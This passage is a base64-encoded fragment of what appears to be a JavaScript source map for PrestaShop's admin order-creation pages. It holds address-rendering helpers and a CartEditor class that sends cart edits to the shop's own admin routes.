XJ5IGFkZHJlc3MgY29udGVudFxuICAgKlxuICAgKiBAcGFyYW0gYWRkcmVzc1xuICAgKiBAcGFyYW0gY2FydElkXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICByZW5kZXJEZWxpdmVyeUFkZHJlc3MoYWRkcmVzcywgY2FydElkKSB7XG4gICAgY29uc3QgZGVsaXZlcnlBZGRyZXNzT3B0aW9uID0ge1xuICAgICAgdmFsdWU6IGFkZHJlc3MuYWRkcmVzc0lkLFxuICAgICAgdGV4dDogYWRkcmVzcy5hbGlhcyxcbiAgICB9O1xuXG4gICAgaWYgKGFkZHJlc3MuZGVsaXZlcnkpIHtcbiAgICAgICQoY3JlYXRlT3JkZXJNYXAuZGVsaXZlcnlBZGRyZXNzRGV0YWlscykuaHRtbChhZGRyZXNzLmZvcm1hdHRlZEFkZHJlc3MpO1xuICAgICAgZGVsaXZlcnlBZGRyZXNzT3B0aW9uLnNlbGVjdGVkID0gJ3NlbGVjdGVkJztcbiAgICAgICQoY3JlYXRlT3JkZXJNYXAuZGVsaXZlcnlBZGRyZXNzRWRpdEJ0bikucHJvcCgnaHJlZicsIHRoaXMucm91dGVyLmdlbmVyYXRlKCdhZG1pbl9jYXJ0X2FkZHJlc3Nlc19lZGl0Jywge1xuICAgICAgICBhZGRyZXNzSWQ6IGFkZHJlc3MuYWRkcmVzc0lkLFxuICAgICAgICBjYXJ0SWQsXG4gICAgICAgIGFkZHJlc3NUeXBlOiAnZGVsaXZlcnknLFxuICAgICAgICBsaXRlRGlzcGxheWluZzogMSxcbiAgICAgICAgc3VibWl0Rm9ybUFqYXg6IDEsXG4gICAgICB9KSk7XG4gICAgfVxuXG4gICAgJChjcmVhdGVPcmRlck1hcC5kZWxpdmVyeUFkZHJlc3NTZWxlY3QpLmFwcGVuZCgkKCc8b3B0aW9uPicsIGRlbGl2ZXJ5QWRkcmVzc09wdGlvbikpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbmRlcnMgaW52b2ljZSBhZGRyZXNzIGNvbnRlbnRcbiAgICpcbiAgICogQHBhcmFtIGFkZHJlc3NcbiAgICogQHBhcmFtIGNhcnRJZFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgcmVuZGVySW52b2ljZUFkZHJlc3MoYWRkcmVzcywgY2FydElkKSB7XG4gICAgY29uc3QgaW52b2ljZUFkZHJlc3NPcHRpb24gPSB7XG4gICAgICB2YWx1ZTogYWRkcmVzcy5hZGRyZXNzSWQsXG4gICAgICB0ZXh0OiBhZGRyZXNzLmFsaWFzLFxuICAgIH07XG5cbiAgICBpZiAoYWRkcmVzcy5pbnZvaWNlKSB7XG4gICAgICAkKGNyZWF0ZU9yZGVyTWFwLmludm9pY2VBZGRyZXNzRGV0YWlscykuaHRtbChhZGRyZXNzLmZvcm1hdHRlZEFkZHJlc3MpO1xuICAgICAgaW52b2ljZUFkZHJlc3NPcHRpb24uc2VsZWN0ZWQgPSAnc2VsZWN0ZWQnO1xuICAgICAgJChjcmVhdGVPcmRlck1hcC5pbnZvaWNlQWRkcmVzc0VkaXRCdG4pLnByb3AoJ2hyZWYnLCB0aGlzLnJvdXRlci5nZW5lcmF0ZSgnYWRtaW5fY2FydF9hZGRyZXNzZXNfZWRpdCcsIHtcbiAgICAgICAgYWRkcmVzc0lkOiBhZGRyZXNzLmFkZHJlc3NJZCxcbiAgICAgICAgY2FydElkLFxuICAgICAgICBhZGRyZXNzVHlwZTogJ2ludm9pY2UnLFxuICAgICAgICBsaXRlRGlzcGxheWluZzogMSxcbiAgICAgICAgc3VibWl0Rm9ybUFqYXg6IDEsXG4gICAgICB9KSk7XG4gICAgfVxuXG4gICAgJChjcmVhdGVPcmRlck1hcC5pbnZvaWNlQWRkcmVzc1NlbGVjdCkuYXBwZW5kKCQoJzxvcHRpb24+JywgaW52b2ljZUFkZHJlc3NPcHRpb24pKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93cyBhZGRyZXNzZXMgYmxvY2tcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHNob3dBZGRyZXNzZXNCbG9jaygpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmFkZHJlc3Nlc0Jsb2NrKS5yZW1vdmVDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogRW1wdGllcyBhZGRyZXNzZXMgY29udGVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgY2xlYW5BZGRyZXNzZXMoKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5kZWxpdmVyeUFkZHJlc3NEZXRhaWxzKS5lbXB0eSgpO1xuICAgICQoY3JlYXRlT3JkZXJNYXAuZGVsaXZlcnlBZGRyZXNzU2VsZWN0KS5lbXB0eSgpO1xuICAgICQoY3JlYXRlT3JkZXJNYXAuaW52b2ljZUFkZHJlc3NEZXRhaWxzKS5lbXB0eSgpO1xuICAgICQoY3JlYXRlT3JkZXJNYXAuaW52b2ljZUFkZHJlc3NTZWxlY3QpLmVtcHR5KCk7XG4gIH1cblxuICAvKipcbiAgICogU2hvd3MgYWRkcmVzc2VzIGNvbnRlbnQgYW5kIGhpZGVzIHdhcm5pbmdcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHNob3dBZGRyZXNzZXNDb250ZW50KCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuYWRkcmVzc2VzQ29udGVudCkucmVtb3ZlQ2xhc3MoJ2Qtbm9uZScpO1xuICAgICQoY3JlYXRlT3JkZXJNYXAuYWRkcmVzc2VzV2FybmluZykuYWRkQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIEhpZGVzIGFkZHJlc3NlcyBjb250ZW50IGFuZCBzaG93cyB3YXJuaW5nXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBoaWRlQWRkcmVzc2VzQ29udGVudCgpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmFkZHJlc3Nlc0NvbnRlbnQpLmFkZENsYXNzKCdkLW5vbmUnKTtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmFkZHJlc3Nlc1dhcm5pbmcpLnJlbW92ZUNsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93cyB3YXJuaW5nIGVtcHR5IGFkZHJlc3NlcyB3YXJuaW5nXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBzaG93RW1wdHlBZGRyZXNzZXNXYXJuaW5nKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuYWRkcmVzc2VzV2FybmluZykucmVtb3ZlQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIEhpZGVzIGVtcHR5IGFkZHJlc3NlcyB3YXJuaW5nXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBoaWRlRW1wdHlBZGRyZXNzZXNXYXJuaW5nKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuYWRkcmVzc2VzV2FybmluZykuYWRkQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG59XG4iLCIvKipcbiAqIENvcHlyaWdodCBzaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogUHJlc3RhU2hvcCBpcyBhbiBJbnRlcm5hdGlvbmFsIFJlZ2lzdGVyZWQgVHJhZGVtYXJrICYgUHJvcGVydHkgb2YgUHJlc3RhU2hvcCBTQVxuICpcbiAqIE5PVElDRSBPRiBMSUNFTlNFXG4gKlxuICogVGhpcyBzb3VyY2UgZmlsZSBpcyBzdWJqZWN0IHRvIHRoZSBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKiB0aGF0IGlzIGJ1bmRsZWQgd2l0aCB0aGlzIHBhY2thZ2UgaW4gdGhlIGZpbGUgTElDRU5TRS5tZC5cbiAqIEl0IGlzIGFsc28gYXZhaWxhYmxlIHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViIGF0IHRoaXMgVVJMOlxuICogaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wXG4gKiBJZiB5b3UgZGlkIG5vdCByZWNlaXZlIGEgY29weSBvZiB0aGUgbGljZW5zZSBhbmQgYXJlIHVuYWJsZSB0b1xuICogb2J0YWluIGl0IHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViLCBwbGVhc2Ugc2VuZCBhbiBlbWFpbFxuICogdG8gbGljZW5zZUBwcmVzdGFzaG9wLmNvbSBzbyB3ZSBjYW4gc2VuZCB5b3UgYSBjb3B5IGltbWVkaWF0ZWx5LlxuICpcbiAqIERJU0NMQUlNRVJcbiAqXG4gKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgUHJlc3RhU2hvcCB0byBuZXdlclxuICogdmVyc2lvbnMgaW4gdGhlIGZ1dHVyZS4gSWYgeW91IHdpc2ggdG8gY3VzdG9taXplIFByZXN0YVNob3AgZm9yIHlvdXJcbiAqIG5lZWRzIHBsZWFzZSByZWZlciB0byBodHRwczovL2RldmRvY3MucHJlc3Rhc2hvcC5jb20vIGZvciBtb3JlIGluZm9ybWF0aW9uLlxuICpcbiAqIEBhdXRob3IgICAgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzIDxjb250YWN0QHByZXN0YXNob3AuY29tPlxuICogQGNvcHlyaWdodCBTaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogQGxpY2Vuc2UgICBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjAgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICovXG5cbmltcG9ydCBSb3V0ZXIgZnJvbSAnQGNvbXBvbmVudHMvcm91dGVyJztcbmltcG9ydCB7RXZlbnRFbWl0dGVyfSBmcm9tICdAY29tcG9uZW50cy9ldmVudC1lbWl0dGVyJztcbmltcG9ydCBldmVudE1hcCBmcm9tICdAcGFnZXMvb3JkZXIvY3JlYXRlL2V2ZW50LW1hcCc7XG5pbXBvcnQgY3JlYXRlT3JkZXJNYXAgZnJvbSAnLi9jcmVhdGUtb3JkZXItbWFwJztcblxuY29uc3QgeyR9ID0gd2luZG93O1xuXG4vKipcbiAqIFByb3ZpZGVzIGFqYXggY2FsbHMgZm9yIGNhcnQgZWRpdGluZyBhY3Rpb25zXG4gKiBFYWNoIG1ldGhvZCBlbWl0cyBhbiBldmVudCB3aXRoIHVwZGF0ZWQgY2FydCBpbmZvcm1hdGlvbiBhZnRlciBzdWNjZXNzLlxuICovXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBDYXJ0RWRpdG9yIHtcbiAgY29uc3RydWN0b3IoKSB7XG4gICAgdGhpcy5yb3V0ZXIgPSBuZXcgUm91dGVyKCk7XG4gIH1cblxuICAvKipcbiAgICogQ2hhbmdlcyBjYXJ0IGFkZHJlc3Nlc1xuICAgKlxuICAgKiBAcGFyYW0ge051bWJlcn0gY2FydElkXG4gICAqIEBwYXJhbSB7T2JqZWN0fSBhZGRyZXNzZXNcbiAgICovXG4gIGNoYW5nZUNhcnRBZGRyZXNzZXMoY2FydElkLCBhZGRyZXNzZXMpIHtcbiAgICAkLnBvc3QodGhpcy5yb3V0ZXIuZ2VuZXJhdGUoJ2FkbWluX2NhcnRzX2VkaXRfYWRkcmVzc2VzJywge2NhcnRJZH0pLCBhZGRyZXNzZXMpXG4gICAgICAudGhlbigoY2FydEluZm8pID0+IEV2ZW50RW1pdHRlci5lbWl0KGV2ZW50TWFwLmNhcnRBZGRyZXNzZXNDaGFuZ2VkLCBjYXJ0SW5mbykpXG4gICAgICAuY2F0Y2goKHJlc3BvbnNlKSA9PiB3aW5kb3cuc2hvd0Vycm9yTWVzc2FnZShyZXNwb25zZS5yZXNwb25zZUpTT04ubWVzc2FnZSkpO1xuICB9XG5cbiAgLyoqXG4gICAqIE1vZGlmaWVzIGNhcnQgZGVsaXZlcnkgb3B0aW9uXG4gICAqXG4gICAqIEBwYXJhbSB7TnVtYmVyfSBjYXJ0SWRcbiAgICogQHBhcmFtIHtOdW1iZXJ9IHZhbHVlXG4gICAqL1xuICBjaGFuZ2VEZWxpdmVyeU9wdGlvbihjYXJ0SWQsIHZhbHVlKSB7XG4gICAgJC5wb3N0KHRoaXMucm91dGVyLmdlbmVyYXRlKCdhZG1pbl9jYXJ0c19lZGl0X2NhcnJpZXInLCB7Y2FydElkfSksIHtcbiAgICAgIGNhcnJpZXJJZDogdmFsdWUsXG4gICAgfSkudGhlbigoY2FydEluZm8pID0+IEV2ZW50RW1pdHRlci5lbWl0KGV2ZW50TWFwLmNhcnREZWxpdmVyeU9wdGlvbkNoYW5nZWQsIGNhcnRJbmZvKSlcbiAgICAgIC5jYXRjaCgocmVzcG9uc2UpID0+IHdpbmRvdy5zaG93RXJyb3JNZXNzYWdlKHJlc3BvbnNlLnJlc3BvbnNlSlNPTi5tZXNzYWdlKSk7XG4gIH1cblxuICAvKipcbiAgICogQ2hhbmdlcyBjYXJ0IGZyZWUgc2hpcHBpbmcgdmFsdWVcbiAgICpcbiAgICogQHBhcmFtIHtOdW1iZXJ9IGNhcnRJZFxuICAgKi9cbiAgdXBkYXRlRGVsaXZlcnlPcHRpb25zKGNhcnRJZCkge1xuICAgIGNvbnN0IGZyZWVTaGlwcGluZ0VuYWJsZWQgPSAkKGNyZWF0ZU9yZGVyTWFwLmZyZWVTaGlwcGluZ1N3aXRjaClbMV0uY2hlY2tlZDtcbiAgICBjb25zdCBpc0FHaWZ0RW5hYmxlZCA9ICQoY3JlYXRlT3JkZXJNYXAuaXNBR2lmdFN3aXRjaFZhbHVlKS52YWwoKSA9PT0gJzEnO1xuICAgIGNvbnN0IHVzZVJlY3ljbGVkUGFja2FnaW5nRW5hYmxlZCA9ICQoY3JlYXRlT3JkZXJNYXAucmVjeWNsZWRQYWNrYWdpbmdTd2l0Y2hWYWx1ZSkudmFsKCkgPT09ICcxJztcbiAgICBjb25zdCBnaWZ0TWVzc2FnZSA9ICQoY3JlYXRlT3JkZXJNYXAuZ2lmdE1lc3NhZ2VGaWVsZCkudmFsKCk7XG5cbiAgICAkLnBvc3QodGhpcy5yb3V0ZXIuZ2VuZXJhdGUoJ2FkbWluX2NhcnRzX3NldF9kZWxpdmVyeV9zZXR0aW5ncycsIHtjYXJ0SWR9KSwge1xuICAgICAgZnJlZVNoaXBwaW5nOiBmcmVlU2hpcHBpbmdFbmFibGVkLFxuICAgICAgaXNBR2lmdDogaXNBR2lmdEVuYWJsZWQsXG4gICAgICB1c2VSZWN5Y2xlZFBhY2thZ2luZzogdXNlUmVjeWNsZWRQYWNrYWdpbmdFbmFibGVkLFxuICAgICAgZ2lmdE1lc3NhZ2UsXG4gICAgfSkudGhlbigoY2FydEluZm8pID0+IEV2ZW50RW1pdHRlci5lbWl0KGV2ZW50TWFwLmNhcnREZWxpdmVyeVNldHRpbmdDaGFuZ2VkLCBjYXJ0SW5mbykpXG4gICAgICAuY2F0Y2goKHJlc3BvbnNlKSA9PiB3aW5kb3cuc2hvd0Vycm9yTWVzc2FnZShyZXNwb25zZS5yZXNwb25zZUpTT04ubWVzc2FnZSkpO1xuICB9XG5cbiAgLyoqXG4gICAqIEFkZHMgY2FydCBydWxlIHRvIGNhcnRcbiAgICpcbiAgICogQHBhcmFtIHtOdW1iZXJ9IGNhcnRSdWxlSWRcbiAgICogQHBhcmFtIHtOdW1iZXJ9IGNhcnRJZFxuICAgKi9cbiAgYWRkQ2FydFJ1bGVUb0NhcnQoY2FydFJ1bGVJZCwgY2FydElkKSB7XG4gICAgJC5wb3N0KHRoaXMucm91dGVyLmdlbmVyYXRlKCdhZG1pbl9jYXJ0c19hZGRfY2FydF9ydWxlJywge2NhcnRJZH0pLCB7XG4gICAgICBjYXJ0UnVsZUlkLFxuICAgIH0pLnRoZW4oKGNhcnRJbmZvKSA9PiBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5jYXJ0UnVsZUFkZGVkLCBjYXJ0SW5mbykpXG4gICAgICAuY2F0Y2goKHJlc3BvbnNlKSA9PiBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5jYXJ0UnVsZUZhaWxlZFRvQWRkLCByZXNwb25zZS5yZXNwb25zZUpTT04ubWVzc2FnZSkpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbW92ZXMgY2FydCBydWxlIGZyb20gY2FydFxuICAgKlxuICAgKiBAcGFyYW0ge051bWJlcn0gY2FydFJ1bGVJZFxuICAgKiBAcGFyYW0ge051bWJlcn0gY2FydElkXG4gICAqL1xuICByZW1vdmVDYXJ0UnVsZUZyb21DYXJ0KGNhcnRSdWxlSWQsIGNhcnRJZCkge1xuICAgICQucG9zdCh0aGlzLnJvdXRlci5nZW5lcmF0ZSgnYWRtaW5fY2FydHNfZGVsZXRlX2NhcnRfcnVsZScsIHtcbiAgICAgIGNhcnRJZCxcbiAgICAgIGNhcnRSdWxlSWQsXG4gICAgfSkpLnRoZW4oKGNhcnRJbmZvKSA9PiBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5jYXJ0UnVsZVJlbW92ZWQsIGNhcnRJbmZvKSlcbiAgICAgIC5jYXRjaCgocmVzcG9uc2UpID0+IHdpbmRvdy5zaG93RXJyb3JNZXNzYWdlKHJlc3BvbnNlLnJlc3BvbnNlSlNPTi5tZXNzYWdlKSk7XG4gIH1cblxuICAvKipcbiAgICogQWRkcyBwcm9kdWN0IHRvIGNhcnRcbiAgICpcbiAgICogQHBhcmFtIHtOdW1iZXJ9IGNhcnRJZFxuICAgKiBAcGFyYW0ge09iamVjdH0gZGF0YVxuICAgKi9cbiAgYWRkUHJvZHVjdChjYXJ0SWQsIGRhdGEpIHtcbiAgICBsZXQgZmlsZVNpemVIZWFkZXIgPSAnJztcblxuICAgIGlmICghJC5pc0VtcHR5T2JqZWN0KGRhdGEuZmlsZVNpemVzKSkge1xuICAgICAgZmlsZVNpemVIZWFkZXIgPSBKU09OLnN0cmluZ2lmeShkYXRhLmZpbGVTaXplcyk7XG4gICAgfVxuXG4gICAgJC5hamF4KHRoaXMucm91dGVyLmdlbmVyYXRlKCdhZG1pbl9jYXJ0c19hZGRfcHJvZHVjdCcsIHtjYXJ0SWR9KSwge1xuICAgICAgaGVhZGVyczoge1xuICAgICAgICAvLyBBZGRzIGN1c3RvbSBoZWFkZXJzIHdpdGggc3VibWl0dGVkIGZpbGUgc2l6ZXMsIHRvIHRyYWNrIGlmIGFsbCBmaWxlcyByZWFjaGVkIHNlcnZlciBzaWRlLlxuICAgICAgICAnZmlsZS1zaXplcyc6IGZpbGVTaXplSGVhZGVyLFxuICAgICAgfSxcbiAgICAgIG1ldGhvZDogJ1BPU1QnLFxuICAgICAgZGF0YTogZGF0YS5wcm9kdWN0LFxuICAgICAgcHJvY2Vzc0RhdGE6IGZhbHNlLFxuICAgICAgY29udGVudFR5cGU6IGZhbHNlLFxuICAgIH0pLnRoZW4oKGNhcnRJbmZvKSA9PiBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5wcm9kdWN0QWRkZWRUb0NhcnQsIGNhcnRJbmZvKSlcbiAgICAgIC5jYXRjaCgocmVzcG9uc2UpID0+IEV2ZW50RW1pdHRlci5lbWl0KGV2ZW50TWFwLnByb2R1Y3RBZGRUb0NhcnRGYWlsZWQsIHJlc3BvbnNlLnJlc3BvbnNlSlNPTi5tZXNzYWdlKSk7XG4gIH1cblxuICAvKipcbiAgICogUmVtb3ZlcyBwcm9kdWN0IGZyb20gY2FydFxuICAgKlxuICAgKiBAcGFyYW0ge051bWJlcn0gY2FydElkXG4gICAqIEBwYXJhbSB7T2JqZWN0fSBwcm9kdWN0XG4gICAqL1xuICByZW1vdmVQcm9kdWN0RnJvbUNhcnQoY2FydElkLCBwcm9kdWN0KSB7XG4gICAgJC5wb3N0KHRoaXMucm91dGVyLmdlbmVyYXRlKCdhZG1pbl9jYXJ0c19kZWxldGVfcHJvZHVjdCcsIHtjYXJ0SWR9KSwge1xuICAgICAgcHJvZHVjdElkOiBwcm9kdWN0LnByb2R1Y3RJZCxcbiAgICAgIGF0dHJpYnV0ZUlkOiBwcm9kdWN0LmF0dHJpYnV0ZUlkLFxuICAgICAgY3VzdG9taXphdGlvbklkOiBwcm9kdWN0LmN1c3RvbWl6YXRpb25JZCxcbiAgICB9KS50aGVuKChjYXJ0SW5mbykgPT4gRXZlbnRFbWl0dGVyLmVtaXQoZXZlbnRNYXAucHJvZHVjdFJlbW92ZWRGcm9tQ2FydCwge2NhcnRJbmZvLCBwcm9kdWN0fSkpXG4gICAgICAuY2F0Y2goKHJlc3BvbnNlKSA9PiB3aW5kb3cuc2hvd0Vycm9yTWVzc2FnZShyZXNwb25zZS5yZXNwb25zZUpTT04ubWVzc2FnZSkpO1xuICB9XG5cbiAgLyoqXG4gICAqIENoYW5nZXMgcHJvZHVjdCBwcmljZSBpbiBjYXJ0XG4gICAqXG4gICAqIEBwYXJhbSB7TnVtYmVyfSBjYXJ0SWRcbiAgICogQHBhcmFtIHtOdW1iZXJ9IGN1c3RvbWVySWRcbiAgICogQHBhcmFtIHtPYmplY3R9IHByb2R1Y3QgdGhlIHVwZGF0ZWQgcHJvZHVjdFxuICAgKi9cbiAgY2hhbmdlUHJvZHVjdFByaWNlKGNhcnRJZCwgY3VzdG9tZXJJZCwgcHJvZHVjdCkge1xuICAgICQucG9zdCh0aGlzLnJvdXRlci5nZW5lcmF0ZSgnYWRtaW5fY2FydHNfZWRpdF9wcm9kdWN0X3ByaWNlJywge1xuICAgICAgY2FydElkLFxuICAgICAgcHJvZHVjdElkOiBwcm9kdWN0LnByb2R1Y3RJZCxcbiAgICAgIHByb2R1Y3RBdHRyaWJ1dGVJZDogcHJvZHVjdC5hdHRyaWJ1dGVJZCxcbiAgICB9KSwge1xuICAgICAgbmV3UHJpY2U6IHByb2R1Y3QucHJpY2UsXG4gICAgICBjdXN0b21lcklkLFxuICAgIH0pLnRoZW4oKGNhcnRJbmZvKSA9PiBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5wcm9kdWN0UHJpY2VDaGFuZ2VkLCBjYXJ0SW5mbykpXG4gICAgICAuY2F0Y2goKHJlc3BvbnNlKSA9PiB3aW5kb3cuc2hvd0Vycm9yTWVzc2FnZShyZXNwb25zZS5yZXNwb25zZUpTT04ubWVzc2FnZSkpO1xuICB9XG5cbiAgLyoqXG4gICAqIFVwZGF0ZXMgcHJvZHVjdCBxdWFudGl0eSBpbiBjYXJ0XG4gICAqXG4gICAqIEBwYXJhbSBjYXJ0SWRcbiAgICogQHBhcmFtIHByb2R1Y3RcbiAgICovXG4gIGNoYW5nZVByb2R1Y3RRdHkoY2FydElkLCBwcm9kdWN0KSB7XG4gICAgJC5wb3N0KHRoaXMucm91dGVyLmdlbmVyYXRlKCdhZG1pbl9jYXJ0c19lZGl0X3Byb2R1Y3RfcXVhbnRpdHknLCB7XG4gICAgICBjYXJ0SWQsXG4gICAgICBwcm9kdWN0SWQ6IHByb2R1Y3QucHJvZHVjdElkLFxuICAgIH0pLCB7XG4gICAgICBuZXdRdHk6IHByb2R1Y3QubmV3UXR5LFxuICAgICAgYXR0cmlidXRlSWQ6IHByb2R1Y3QuYXR0cmlidXRlSWQsXG4gICAgICBjdXN0b21pemF0aW9uSWQ6IHByb2R1Y3QuY3VzdG9taXphdGlvbklkLFxuICAgIH0pLnRoZW4oKGNhcnRJbmZvKSA9PiBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5wcm9kdWN0UXR5Q2hhbmdlZCwge2NhcnRJbmZvLCBwcm9kdWN0fSkpXG4gICAgICAuY2F0Y2goKHJlc3BvbnNlKSA9PiBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5wcm9kdWN0UXR5Q2hhbmdlRmFpbGVkLCByZXNwb25zZSkpO1xuICB9XG5cbiAgLyoqXG4gICAqIENoYW5nZXMgY2FydCBjdXJyZW5jeVxuICAgKlxuICAgKiBAcGFyYW0ge051bWJlcn0gY2FydElkXG4gICAqIEBwYXJhbSB7TnVtYmVyfSBjdXJyZW5jeUlkXG4gICAqL1xuICBjaGFuZ2VDYXJ0Q3VycmVuY3koY2FydElkLCBjdXJyZW5jeUlkKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5jYXJ0Q3VycmVuY3lTZWxlY3QpLmRhdGEoJ3NlbGVjdGVkQ3VycmVuY3lJZCcsIGN1cnJlbmN5SWQpO1xuXG4gICAgJC5wb3N0KHRoaXMucm91dGVyLmdlbmVyYXRlKCdhZG1pbl9jYXJ0c19lZGl0X2N1cnJlbmN5Jywge2NhcnRJZH0pLCB7XG4gICAgICBjdXJyZW5jeUlkLFxuICAgIH0pLnRoZW4oKGNhcnRJbmZvKSA9PiBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5jYXJ0Q3VycmVuY3lDaGFuZ2VkLCBjYXJ0SW5mbykpXG4gICAgICAuY2F0Y2goKHJlc3BvbnNlKSA9PiBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5jYXJ0Q3VycmVuY3lDaGFuZ2VGYWlsZWQsIHJlc3BvbnNlKSk7XG4gIH1cblxuICAvKipcbiAgICogQ2hhbmdlcyBjYXJ0IGxhbmd1YWdlXG4gICAqXG4gICAqIEBwYXJhbSB7TnVtYmVyfSBjYXJ0SWRcbiAgICogQHBhcmFtIHtOdW1iZXJ9IGxhbmd1YWdlSWRcbiAgICovXG4gIGNoYW5nZUNhcnRMYW5ndWFnZShjYXJ0SWQsIGxhbmd1YWdlSWQpIHtcbiAgICAkLnBvc3QodGhpcy5yb3V0ZXIuZ2VuZXJhdGUoJ2FkbWluX2NhcnRzX2VkaXRfbGFuZ3VhZ2UnLCB7Y2FydElkfSksIHtcbiAgICAgIGxhbmd1YWdlSWQsXG4gICAgfSkudGhlbigoY2FydEluZm8pID0+IEV2ZW50RW1pdHRlci5lbWl0KGV2ZW50TWFwLmNhcnRMYW5ndWFnZUNoYW5nZWQsIGNhcnRJbmZvKSlcbiAgICAgIC5jYXRjaCgocmVzcG9uc2UpID0+IHdpbmRvdy5zaG93RXJyb3JNZXNzYWdlKHJlc3BvbnNlLnJlc3BvbnNlSlNPTi5tZXNzYWdlKSk7XG4gIH1cbn1cbiIsIi8qKlxuICogQ29weXJpZ2h0IHNpbmNlIDIwMDcgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzXG4gKiBQcmVzdGFTaG9wIGlzIGFuIEludGVybmF0aW9uYWwgUmVnaXN0ZXJlZCBUcmFkZW1hcmsgJiBQcm9wZXJ0eSBvZiBQcmVzdGFTaG9wIFNBXG4gKlxuICogTk9USUNFIE9GIExJQ0VOU0VcbiAqXG4gKiBUaGlzIHNvdXJjZSBmaWxlIGlzIHN1YmplY3QgdG8gdGhlIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqIHRoYXQgaXMgYnVuZGxlZCB3aXRoIHRoaXMgcGFja2FnZSBpbiB0aGUgZmlsZSBMSUNFTlNFLm1kLlxuICogSXQgaXMgYWxzbyBhdmFpbGFibGUgdGhyb3VnaCB0aGUgd29ybGQtd2lkZS13ZWIgYXQgdGhpcyBVUkw6XG4gKiBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjBcbiAqIElmIHlvdSBkaWQgbm90IHJlY2VpdmUgYSBjb3B5IG9mIHRoZSBsaWNlbnNlIGFuZCBhcmUgdW5hYmxlIHRvXG4gKiBvYnRhaW4gaXQgdGhyb3VnaCB0aGUgd29ybGQtd2lkZS13ZWIsIHBsZWFzZSBzZW5kIGFuIGVtYWlsXG4gKiB0byBsaWNlbnNlQHByZXN0YXNob3AuY29tIHNvIHdlIGNhbiBzZW5kIHlvdSBhIGNvcHkgaW1tZWRpYXRlbHkuXG4gKlxuICogRElTQ0xBSU1FUlxuICpcbiAqIERvIG5vdCBlZGl0IG9yIGFkZCB0byB0aGlzIGZpbGUgaWYgeW91IHdpc2ggdG8gdXBncmFkZSBQcmVzdGFTaG9wIHRvIG5ld2VyXG4gKiB2ZXJzaW9ucyBpbiB0aGUgZnV0dXJlLiBJZiB5b3Ugd2lzaCB0byBjdXN0b21pemUgUHJlc3RhU2hvcCBmb3IgeW91clxuICogbmVlZHMgcGxlYXNlIHJlZmVyIHRvIGh0dHBzOi8vZGV2ZG9jcy5wcmVzdGFzaG9wLmNvbS8gZm9yIG1vcmUgaW5mb3JtYXRpb24uXG4gKlxuICogQGF1dGhvciAgICBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnMgPGNvbnRhY3RAcHJlc3Rhc2hvcC5jb20+XG4gKiBAY29weXJpZ2h0IFNpbmNlIDIwMDcgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzXG4gKiBAbGljZW5zZSAgIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMCBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKi9cblxuaW1wb3J0IGNyZWF0ZU9yZGVyUGFnZU1hcCBmcm9tICdAcGFnZXMvb3JkZXIvY3JlYXRlL2NyZWF0ZS1vcmRlci1tYXAnO1xuaW1wb3J0IFJvdXRlciBmcm9tICdAY29tcG9uZW50cy9yb3V0ZXInO1x